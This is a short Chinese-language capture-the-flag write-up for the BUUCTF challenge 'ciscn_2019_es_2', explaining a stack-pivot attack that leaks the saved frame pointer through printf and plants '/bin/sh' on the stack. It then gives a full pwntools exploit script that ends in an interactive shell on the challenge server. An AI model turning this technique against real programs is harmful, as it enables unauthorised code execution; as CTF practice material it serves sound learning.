buuctf ciscn_2019_es_2

通过这道题总算学会用gdb来调试stack了


一道栈迁移的题目，printf函数可以泄露出bp的地址
有system函数，但是没有/bin/sh，所以我采用了往stack里写入binsh，然后通过泄露出来的bp算出偏移来指向binsh的位置，从而getshell
调试的时候看泄露出的栈地址和aaaa的偏移，和binsh的偏移，栈上的地址是\xff开头

exp：

from pwn import *
from LibcSearcher import * 

local_file  = './ciscn_2019_es_2'
local_libc  = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
remote_libc = './libc.so.6'
 
 
select = 1

if select == 0:
    r = process(local_file)
    #libc = ELF(local_libc)
else:
    r = remote('node3.buuoj.cn', 26319)
    #libc = ELF(remote_libc)

elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims  			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))

def debug(cmd=''):
     gdb.attach(r,cmd)

sys_addr = 0x08048400
leave_ret = 0x080484b8 # leave ; ret
p1 = flat(['a'*0x20, 'b'* 8])
se(p1)
bp_addr = u32(ru('\xff')[-4:])
log.info(hex(bp_addr))
p2 = flat(['a'*4, sys_addr, 'bbbb', bp_addr-0x28, '/bin/sh\x00'])
p2 = p2.ljust(0x28, '\0')
p2 += flat([bp_addr-0x38, leave_ret])
#gdb.attach(r)
sl(p2)


r.interactive()

顺带一提，第一次送不要用sendline，会多一个\n，导致bp的地址出现问题，以后都用send好了